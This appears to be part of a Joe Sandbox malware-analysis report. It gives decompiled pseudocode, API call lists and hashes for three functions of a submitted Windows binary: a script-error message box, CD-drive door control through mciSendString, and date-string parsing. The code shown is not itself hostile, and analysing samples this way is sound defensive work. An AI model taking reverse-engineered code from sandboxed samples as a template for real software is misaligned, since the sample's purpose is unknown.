                                                                                                                                                                            0x00460e1d
                                                                                                                                                                            0x00460e1d
                                                                                                                                                                            0x00460e1d
                                                                                                                                                                            0x00460e1e
                                                                                                                                                                            0x00460e25
                                                                                                                                                                            0x00460e27
                                                                                                                                                                            0x00460e29
                                                                                                                                                                            0x00460e2b
                                                                                                                                                                            0x00460e37
                                                                                                                                                                            0x00460e3d
                                                                                                                                                                            0x00460e3f
                                                                                                                                                                            0x00460e3f
                                                                                                                                                                            0x00460e3f
                                                                                                                                                                            0x00460e3d
                                                                                                                                                                            0x00460e40
                                                                                                                                                                            0x00460e40
                                                                                                                                                                            0x00460e40
                                                                                                                                                                            0x00460e41
                                                                                                                                                                            0x00460e43
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460e45
                                                                                                                                                                            0x00460e48
                                                                                                                                                                            0x00460e4e
                                                                                                                                                                            0x00460e56
                                                                                                                                                                            0x00460e56
                                                                                                                                                                            0x00460ce2
                                                                                                                                                                            0x00460ce2
                                                                                                                                                                            0x00460ce6
                                                                                                                                                                            0x00460cec
                                                                                                                                                                            0x00460cf2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460cf8
                                                                                                                                                                            0x00460cf8
                                                                                                                                                                            0x00460cfe
                                                                                                                                                                            0x00460d06
                                                                                                                                                                            0x00460d06
                                                                                                                                                                            0x00460cf2
                                                                                                                                                                            0x00460ae7
                                                                                                                                                                            0x00460ae7
                                                                                                                                                                            0x00460af5
                                                                                                                                                                            0x00460b05
                                                                                                                                                                            0x00460b07
                                                                                                                                                                            0x00460b09
                                                                                                                                                                            0x00460b0c
                                                                                                                                                                            0x00460b12
                                                                                                                                                                            0x00460b14
                                                                                                                                                                            0x00460b14
                                                                                                                                                                            0x00460b19
                                                                                                                                                                            0x00460b1b
                                                                                                                                                                            0x00460b21
                                                                                                                                                                            0x00460b26
                                                                                                                                                                            0x00460b29
                                                                                                                                                                            0x00460b2c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460b2e
                                                                                                                                                                            0x00460b34
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460b34
                                                                                                                                                                            0x00460b36
                                                                                                                                                                            0x00460b36
                                                                                                                                                                            0x00460b19
                                                                                                                                                                            0x00460b3a
                                                                                                                                                                            0x00460b42
                                                                                                                                                                            0x00460e59
                                                                                                                                                                            0x00460e64
                                                                                                                                                                            0x00460b48
                                                                                                                                                                            0x00460b48
                                                                                                                                                                            0x00460b50
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460b7f
                                                                                                                                                                            0x00460b7f
                                                                                                                                                                            0x00460b8b
                                                                                                                                                                            0x00460b9e
                                                                                                                                                                            0x00460bb2
                                                                                                                                                                            0x00460bbc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460bc2
                                                                                                                                                                            0x00460bc5
                                                                                                                                                                            0x00460bd1
                                                                                                                                                                            0x00460bd1
                                                                                                                                                                            0x00460bbc
                                                                                                                                                                            0x00460b50
                                                                                                                                                                            0x00460b42

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00460B00
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00460B9E
                                                                                                                                                                            • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                                                                                            • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                                                                                            • GetParent.USER32(?), ref: 00460D40
                                                                                                                                                                            • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                                                                                            • String ID: %s%u
                                                                                                                                                                            • API String ID: 1899580136-679674701
                                                                                                                                                                            • Opcode ID: 0ff779261280a1d71afab97dfd93056d8abbd447807ed13e0868808c168531d5
                                                                                                                                                                            • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                                                                                            • Opcode Fuzzy Hash: 0ff779261280a1d71afab97dfd93056d8abbd447807ed13e0868808c168531d5
                                                                                                                                                                            • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 65%
                                                                                                                                                                            			E0045E41B(intOrPtr __edx, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t43;
				void* _t88;
				WCHAR* _t105;
				intOrPtr _t106;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t118;
				void* _t119;
				void* _t129;

				_t129 = __fp0;
				_t100 = __edx;
				_t43 = E00425210(0x204c);
				_t118 =  *((intOrPtr*)(_t119 + 0x2058));
				if( *0x49728a == 0) {
					_t122 =  *((intOrPtr*)(_t118 + 0xf8)) - 1;
					if( *((intOrPtr*)(_t118 + 0xf8)) != 1) {
						LoadStringW( *0x4972c8, 0x66, _t119 + 0x5c, 0xfff);
						_t105 = _t119 + 0x58;
						E00401B70( *0x4825cc, _t105, _t119 + 0x48, _t122);
						LoadStringW( *0x4972c8, 0x72, _t105, 0xfff);
						E00401B70( *0x4825cc, _t105, _t119 + 0x38, _t122);
						_t115 =  *((intOrPtr*)(_t118 + 0xf4));
						 *((intOrPtr*)(_t119 + 0x28)) = E00437A81(_t115);
						_t106 = E00437A4D(_t115);
						 *((intOrPtr*)(_t119 + 0x24)) = _t106;
						_t88 = E00437AA7(E00437ACA(_t115));
						_t123 = _t88;
						if(_t88 == 0) {
							_t100 =  *((intOrPtr*)(_t118 + 0xc8));
							_push( *((intOrPtr*)(_t118 + 0xc8)));
							_push(_t115);
							_push(L"Line %d  (File \"%s\"):\n\n");
							_t12 = _t119 + 0x64; // 0x4848e8
						} else {
							_push(_t88);
							_push(_t106);
							_push(L"Line %d  (File \"%s\"):\n\n");
							_t10 = _t119 + 0x64; // 0x4848e8
						}
						E0041353A(_t100, _t106, _t115);
						_t119 = _t119 + 0x10;
						E00401B70(_t88, _t119 + 0x58, _t119 + 0x10, _t123);
						_t117 =  *((intOrPtr*)(_t119 + 0x24));
						_t124 = _t117;
						if(_t117 != 0) {
							E0040D330(_t119 + 0x10, _t88, _t117, _t129);
							E0040D330(_t119 + 0x10, _t88, "\n", _t129);
						}
						E0040C060(_t119 + 0x28, _t124);
						_t108 =  *((intOrPtr*)(_t119 + 0x2064));
						if( *((intOrPtr*)(_t119 + 0x2064)) != 0) {
							E004021E0(_t119 + 0x2c, _t88, _t100, L"^ ERROR ");
							E0040D330(_t119 + 0x28, _t88, _t108, _t129);
							E0040C140(_t119 + 0x14, _t129, _t119 + 0x28);
							E0040D330(_t119 + 0x10, _t88, "\n", _t129);
						}
						E0040D330(_t119 + 0x10, _t88, L"\nError: ", _t129);
						E0040C140(_t119 + 0x14, _t129, _t119 + 0x38);
						if( *0x497290 == 0) {
							MessageBoxW( *0x4972c0,  *(_t119 + 0x10),  *(_t119 + 0x48), 0x11010);
						} else {
							_t127 = _t88;
							if(_t88 == 0) {
								_push( *((intOrPtr*)(_t119 + 0x38)));
								_push( *((intOrPtr*)(_t118 + 0xf4)));
								_push( *((intOrPtr*)(_t118 + 0xc8)));
								_push(L"%s (%d) : ==> %s:\n");
								E00413E5C(_t88,  *((intOrPtr*)(_t118 + 0xc8)), L"\nError: ", _t117, __eflags);
								_t119 = _t119 + 0x10;
							} else {
								_push( *((intOrPtr*)(_t119 + 0x28)));
								_push(_t117);
								_push( *((intOrPtr*)(_t119 + 0x38)));
								_push( *((intOrPtr*)(_t119 + 0x20)));
								_push(_t88);
								_push(L"%s (%d) : ==> %s:\n%s\n%s\n");
								E00413E5C(_t88,  *((intOrPtr*)(_t119 + 0x20)), L"\nError: ", _t117, _t127);
								_t119 = _t119 + 0x18;
							}
						}
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t118 + 0xf8)) = 1;
						 *0x49729c = ( ~( *(_t118 + 0x118) & 0x000000ff) & 0x7ffff071) + 1;
						E00402620(_t119 + 0x28);
						E00402620(_t119 + 0x10);
						E00402620(_t119 + 0x38);
						_t43 = E00402620(_t119 + 0x48);
					}
				}
				return _t43;
			}
















                                                                                                                                                                            0x0045e41b
                                                                                                                                                                            0x0045e41b
                                                                                                                                                                            0x0045e420
                                                                                                                                                                            0x0045e42e
                                                                                                                                                                            0x0045e437
                                                                                                                                                                            0x0045e43d
                                                                                                                                                                            0x0045e444
                                                                                                                                                                            0x0045e463
                                                                                                                                                                            0x0045e465
                                                                                                                                                                            0x0045e46d
                                                                                                                                                                            0x0045e480
                                                                                                                                                                            0x0045e486
                                                                                                                                                                            0x0045e48b
                                                                                                                                                                            0x0045e498
                                                                                                                                                                            0x0045e4a1
                                                                                                                                                                            0x0045e4a4
                                                                                                                                                                            0x0045e4b3
                                                                                                                                                                            0x0045e4b5
                                                                                                                                                                            0x0045e4b7
                                                                                                                                                                            0x0045e4c7
                                                                                                                                                                            0x0045e4cd
                                                                                                                                                                            0x0045e4ce
                                                                                                                                                                            0x0045e4cf
                                                                                                                                                                            0x0045e4d4
                                                                                                                                                                            0x0045e4b9
                                                                                                                                                                            0x0045e4b9
                                                                                                                                                                            0x0045e4ba
                                                                                                                                                                            0x0045e4bb
                                                                                                                                                                            0x0045e4c0
                                                                                                                                                                            0x0045e4c4
                                                                                                                                                                            0x0045e4d9
                                                                                                                                                                            0x0045e4de
                                                                                                                                                                            0x0045e4e9
                                                                                                                                                                            0x0045e4ee
                                                                                                                                                                            0x0045e4f2
                                                                                                                                                                            0x0045e4f4
                                                                                                                                                                            0x0045e4fc
                                                                                                                                                                            0x0045e50a
                                                                                                                                                                            0x0045e50a
                                                                                                                                                                            0x0045e513
                                                                                                                                                                            0x0045e518
                                                                                                                                                                            0x0045e521
                                                                                                                                                                            0x0045e52c
                                                                                                                                                                            0x0045e535
                                                                                                                                                                            0x0045e543
                                                                                                                                                                            0x0045e551
                                                                                                                                                                            0x0045e551
                                                                                                                                                                            0x0045e55f
                                                                                                                                                                            0x0045e56d
                                                                                                                                                                            0x0045e579
                                                                                                                                                                            0x0045e5d7
                                                                                                                                                                            0x0045e57b
                                                                                                                                                                            0x0045e57b
                                                                                                                                                                            0x0045e57d
                                                                                                                                                                            0x0045e5af
                                                                                                                                                                            0x0045e5b0
                                                                                                                                                                            0x0045e5b1
                                                                                                                                                                            0x0045e5b2
                                                                                                                                                                            0x0045e5b7
                                                                                                                                                                            0x0045e5bc
                                                                                                                                                                            0x0045e57f
                                                                                                                                                                            0x0045e58b
                                                                                                                                                                            0x0045e58c
                                                                                                                                                                            0x0045e58d
                                                                                                                                                                            0x0045e58e
                                                                                                                                                                            0x0045e58f
                                                                                                                                                                            0x0045e590
                                                                                                                                                                            0x0045e595
                                                                                                                                                                            0x0045e59a
                                                                                                                                                                            0x0045e59a
                                                                                                                                                                            0x0045e57d
                                                                                                                                                                            0x0045e5e6
                                                                                                                                                                            0x0045e5f2
                                                                                                                                                                            0x0045e5fc
                                                                                                                                                                            0x0045e601
                                                                                                                                                                            0x0045e60a
                                                                                                                                                                            0x0045e613
                                                                                                                                                                            0x0045e61c
                                                                                                                                                                            0x0045e61c
                                                                                                                                                                            0x0045e444
                                                                                                                                                                            0x0045e62b

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                                                                                            • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                                                                                            • _printf.LIBCMT ref: 0045E595
                                                                                                                                                                            • _printf.LIBCMT ref: 0045E5B7
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                            • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                                                                                            • API String ID: 3590180749-2894483878
                                                                                                                                                                            • Opcode ID: bdbc81a6f397f48541eb6b9d9cb118ea19acdf20d5b676a86077bf2114e3de40
                                                                                                                                                                            • Instruction ID: ea6607e378049cd2ed226c14e439a8f24e06fb14138fc01ed1da1d2b867fc66d
                                                                                                                                                                            • Opcode Fuzzy Hash: bdbc81a6f397f48541eb6b9d9cb118ea19acdf20d5b676a86077bf2114e3de40
                                                                                                                                                                            • Instruction Fuzzy Hash: 3251C171518345ABC324EF51CC41DAF77A8AB84744F00093FB94467292EB78EE498B6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 98%
                                                                                                                                                                            			E0045D971(void* __eflags, void* __fp0, intOrPtr _a4, WCHAR** _a8) {
				WCHAR* _v12;
				WCHAR* _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				WCHAR* _v56;
				char _v68;
				WCHAR* _v76;
				char _v84;
				WCHAR* _v88;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR** _t43;
				WCHAR* _t44;
				intOrPtr* _t47;
				intOrPtr* _t48;
				void* _t51;
				void* _t52;
				int _t53;
				void* _t83;
				intOrPtr _t85;
				WCHAR* _t101;
				WCHAR** _t108;
				WCHAR** _t111;
				WCHAR** _t112;
				void* _t119;
				void* _t127;

				_t127 = __fp0;
				_t119 = __eflags;
				_push(_t83);
				_t43 = E00453063( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))));
				_t101 =  *_t43;
				_t44 = _t43[3];
				 *_t44 = 1 +  *_t44;
				_v12 = _t44;
				_v24 = _t101;
				_v20 = _t43[1];
				_v16 = _t43[2];
				_t47 = E00453063( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + 4)));
				_v44 =  *_t47;
				_t48 =  *((intOrPtr*)(_t47 + 0xc));
				 *_t48 =  *_t48 + 1;
				_v40 =  *((intOrPtr*)(_t47 + 4));
				_t98 =  &_v44;
				_v36 =  *((intOrPtr*)(_t47 + 8));
				_v32 = _t48;
				E0045335B( &_v44);
				_t51 = E00445975(_t119,  &_v48, L"close");
				_t120 = _t51;
				if(_t51 != 0) {
					E004021E0( &_v36, _t83,  &_v44, L"closed");
				}
				_t52 = E00445975(_t120,  &_v36, L"open");
				_t121 = _t52;
				if(_t52 != 0) {
					L4:
					_t53 = GetDriveTypeW(_t101);
					_t123 = _t53 - 5;
					if(_t53 != 5) {
						goto L10;
					}
					_t110 =  &_v52;
					E00401B70(_t83, L"open ",  &_v52, _t123);
					E0040C140( &_v52, _t127,  &_v20);
					E0040D330( &_v52, _t83, L" type cdaudio alias cd wait", _t127);
					_t85 =  *0x482788;
					if(mciSendStringW(_v56, 0, 0, 0) != 0) {
						_t111 = _a8;
						E004092C0(L" type cdaudio alias cd wait", _t111);
						_t111[2] = 1;
						 *_t111 = 0;
						E00402620( &_v68);
					} else {
						E004021E0( &_v52, _t85, _t98, L"set cd door ");
						_t99 =  &_v56;
						E0040C140(_t110, _t127,  &_v56);
						E0040D330(_t110, _t85, L" wait", _t127);
						if(mciSendStringW(_v76, 0, 0, 0) != 0) {
							_t112 = _a8;
							E004092C0(L" wait", _t112);
							_t112[2] = 1;
							 *_t112 = 0;
						}
						E004021E0( &_v84, _t85, _t99, L"close cd wait");
						mciSendStringW(_v88, 0, 0, 0);
						E00402620( &_v104);
					}
					goto L11;
				} else {
					_t98 =  &_v36;
					if(E00445975(_t121,  &_v36, L"closed") == 0) {
						L10:
						_t108 = _a8;
						E004092C0(_t101, _t108);
						_t108[2] = 1;
						 *_t108 = 0;
						L11:
						E00402620( &_v36);
						E00402620( &_v20);
						return 0;
					}
					goto L4;
				}
			}





































                                                                                                                                                                            0x0045d971
                                                                                                                                                                            0x0045d971
                                                                                                                                                                            0x0045d97a
                                                                                                                                                                            0x0045d986
                                                                                                                                                                            0x0045d98b
                                                                                                                                                                            0x0045d993
                                                                                                                                                                            0x0045d996
                                                                                                                                                                            0x0045d998
                                                                                                                                                                            0x0045d9a3
                                                                                                                                                                            0x0045d9a7
                                                                                                                                                                            0x0045d9ab
                                                                                                                                                                            0x0045d9af
                                                                                                                                                                            0x0045d9b9
                                                                                                                                                                            0x0045d9c0
                                                                                                                                                                            0x0045d9c3
                                                                                                                                                                            0x0045d9c5
                                                                                                                                                                            0x0045d9c9
                                                                                                                                                                            0x0045d9ce
                                                                                                                                                                            0x0045d9d2
                                                                                                                                                                            0x0045d9d6
                                                                                                                                                                            0x0045d9e5
                                                                                                                                                                            0x0045d9ed
                                                                                                                                                                            0x0045d9ef
                                                                                                                                                                            0x0045d9fa
                                                                                                                                                                            0x0045d9fa
                                                                                                                                                                            0x0045da09
                                                                                                                                                                            0x0045da11
                                                                                                                                                                            0x0045da13
                                                                                                                                                                            0x0045da2f
                                                                                                                                                                            0x0045da30
                                                                                                                                                                            0x0045da36
                                                                                                                                                                            0x0045da39
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045da44
                                                                                                                                                                            0x0045da48
                                                                                                                                                                            0x0045da54
                                                                                                                                                                            0x0045da60
                                                                                                                                                                            0x0045da69
                                                                                                                                                                            0x0045da7a
                                                                                                                                                                            0x0045daec
                                                                                                                                                                            0x0045daef
                                                                                                                                                                            0x0045daf8
                                                                                                                                                                            0x0045daff
                                                                                                                                                                            0x0045db05
                                                                                                                                                                            0x0045da7c
                                                                                                                                                                            0x0045da83
                                                                                                                                                                            0x0045da88
                                                                                                                                                                            0x0045da8f
                                                                                                                                                                            0x0045da9b
                                                                                                                                                                            0x0045daaf
                                                                                                                                                                            0x0045dab1
                                                                                                                                                                            0x0045dab4
                                                                                                                                                                            0x0045dab9
                                                                                                                                                                            0x0045dac0
                                                                                                                                                                            0x0045dac0
                                                                                                                                                                            0x0045dacf
                                                                                                                                                                            0x0045dadf
                                                                                                                                                                            0x0045dae5
                                                                                                                                                                            0x0045dae5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045da15
                                                                                                                                                                            0x0045da15
                                                                                                                                                                            0x0045da29
                                                                                                                                                                            0x0045db0c
                                                                                                                                                                            0x0045db0c
                                                                                                                                                                            0x0045db0f
                                                                                                                                                                            0x0045db14
                                                                                                                                                                            0x0045db1b
                                                                                                                                                                            0x0045db21
                                                                                                                                                                            0x0045db25
                                                                                                                                                                            0x0045db2e
                                                                                                                                                                            0x0045db3b
                                                                                                                                                                            0x0045db3b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045da29

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                              • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                            • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                                                                                            • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                            • API String ID: 4013263488-4113822522
                                                                                                                                                                            • Opcode ID: fd9fc8206e1307b245725fda6a282fd52c9acdbe5fa1953a858f1a8c6bf21876
                                                                                                                                                                            • Instruction ID: 274ee433733a362713261a58857774369a2b1907b6125d9cd31254fc4f726d6f
                                                                                                                                                                            • Opcode Fuzzy Hash: fd9fc8206e1307b245725fda6a282fd52c9acdbe5fa1953a858f1a8c6bf21876
                                                                                                                                                                            • Instruction Fuzzy Hash: A7517D71604300ABD710EF55CC85F1EB3E4AF88704F14492EF985AB2E2D7B8E908CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 64%
                                                                                                                                                                            			E00435A35(void* __ecx, short* _a4, struct _SYSTEMTIME* _a8, char _a12, signed int _a16) {
				short _v4;
				short _v8;
				char _v12;
				void* _t40;
				WORD _t45;
				WORD _t49;
				short _t57;
				void* _t58;
				WORD _t61;
				void* _t62;
				WORD _t65;
				void* _t66;
				signed int _t67;
				void* _t68;
				struct _SYSTEMTIME* _t82;
				short* _t83;
				void* _t84;
				void* _t87;

				_t67 = _a16;
				_t83 = _a4;
				_t82 = _a8;
				GetLocalTime(_t82);
				if( *_t83 == 0) {
					L12:
					return 0;
				} else {
					_t40 = E004112D5(_t83);
					_t87 =  &_v12 + 4;
					if(_t40 < 4) {
						goto L12;
					} else {
						if(_a12 != 0) {
							E0041326A( &_v12, _t83, 4);
							_push( &_v12);
							_v4 = 0;
							_t57 = E00413431();
							_t83 = _t83 + 8 + _t67 * 2;
							_t82->wYear = _t57;
							_t58 = E004112D5(_t83);
							_t87 = _t87 + 0x14;
							if(_t58 >= 2) {
								E0041326A( &_v12, _t83, 2);
								_push( &_v12);
								_v8 = 0;
								_t61 = E00413431();
								_t83 = _t83 + 4 + _t67 * 2;
								_t82->wMonth = _t61;
								_t62 = E004112D5(_t83);
								_t87 = _t87 + 0x14;
								if(_t62 >= 2) {
									E0041326A( &_v12, _t83, 2);
									_push( &_v12);
									_v8 = 0;
									_t65 = E00413431();
									_t83 = _t83 + 4;
									_t82->wDay = _t65;
									_t66 = E004112D5(_t83);
									_t87 = _t87 + 0x14;
									if(_t66 > 0) {
										_t83 = _t83 + _t67 * 2;
									}
								}
							}
						}
						if(E004112D5(_t83) >= 2) {
							E0041326A( &_v12, _t83, 2);
							_push( &_v12);
							_v8 = 0;
							_t45 = E00413431();
							_t68 = _t67 + _t67 + 4;
							_t84 = _t83 + _t68;
							_t82->wHour = _t45;
							if(E004112D5(_t84) >= 2) {
								E0041326A( &_v12, _t84, 2);
								_push( &_v12);
								_v8 = 0;
								_t49 = E00413431();
								_t85 = _t84 + _t68;
								_t82->wMinute = _t49;
								if(E004112D5(_t84 + _t68) >= 2) {
									E0041326A( &_v12, _t85, 2);
									_push( &_v12);
									_v8 = 0;
									_t82->wSecond = E00413431();
									_t82->wMilliseconds = 0;
								}
							}
						}
						return 1;
					}
				}
			}





















                                                                                                                                                                            0x00435a39
                                                                                                                                                                            0x00435a3e
                                                                                                                                                                            0x00435a43
                                                                                                                                                                            0x00435a48
                                                                                                                                                                            0x00435a52
                                                                                                                                                                            0x00435bc1
                                                                                                                                                                            0x00435bc7
                                                                                                                                                                            0x00435a58
                                                                                                                                                                            0x00435a59
                                                                                                                                                                            0x00435a5e
                                                                                                                                                                            0x00435a64
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00435a6a
                                                                                                                                                                            0x00435a6f
                                                                                                                                                                            0x00435a7d
                                                                                                                                                                            0x00435a88
                                                                                                                                                                            0x00435a89
                                                                                                                                                                            0x00435a8e
                                                                                                                                                                            0x00435a93
                                                                                                                                                                            0x00435a98
                                                                                                                                                                            0x00435a9b
                                                                                                                                                                            0x00435aa0
                                                                                                                                                                            0x00435aa6
                                                                                                                                                                            0x00435ab0
                                                                                                                                                                            0x00435abb
                                                                                                                                                                            0x00435abc
                                                                                                                                                                            0x00435ac1
                                                                                                                                                                            0x00435ac6
                                                                                                                                                                            0x00435acb
                                                                                                                                                                            0x00435acf
                                                                                                                                                                            0x00435ad4
                                                                                                                                                                            0x00435ada
                                                                                                                                                                            0x00435ae4
                                                                                                                                                                            0x00435aef
                                                                                                                                                                            0x00435af0
                                                                                                                                                                            0x00435af5
                                                                                                                                                                            0x00435afa
                                                                                                                                                                            0x00435afe
                                                                                                                                                                            0x00435b02
                                                                                                                                                                            0x00435b07
                                                                                                                                                                            0x00435b0c
                                                                                                                                                                            0x00435b0e
                                                                                                                                                                            0x00435b0e
                                                                                                                                                                            0x00435b0c
                                                                                                                                                                            0x00435ada
                                                                                                                                                                            0x00435aa6
                                                                                                                                                                            0x00435b1d
                                                                                                                                                                            0x00435b2b
                                                                                                                                                                            0x00435b36
                                                                                                                                                                            0x00435b37
                                                                                                                                                                            0x00435b3c
                                                                                                                                                                            0x00435b41
                                                                                                                                                                            0x00435b45
                                                                                                                                                                            0x00435b48
                                                                                                                                                                            0x00435b57
                                                                                                                                                                            0x00435b61
                                                                                                                                                                            0x00435b6c
                                                                                                                                                                            0x00435b6d
                                                                                                                                                                            0x00435b72
                                                                                                                                                                            0x00435b77
                                                                                                                                                                            0x00435b7a
                                                                                                                                                                            0x00435b89
                                                                                                                                                                            0x00435b93
                                                                                                                                                                            0x00435b9e
                                                                                                                                                                            0x00435b9f
                                                                                                                                                                            0x00435bac
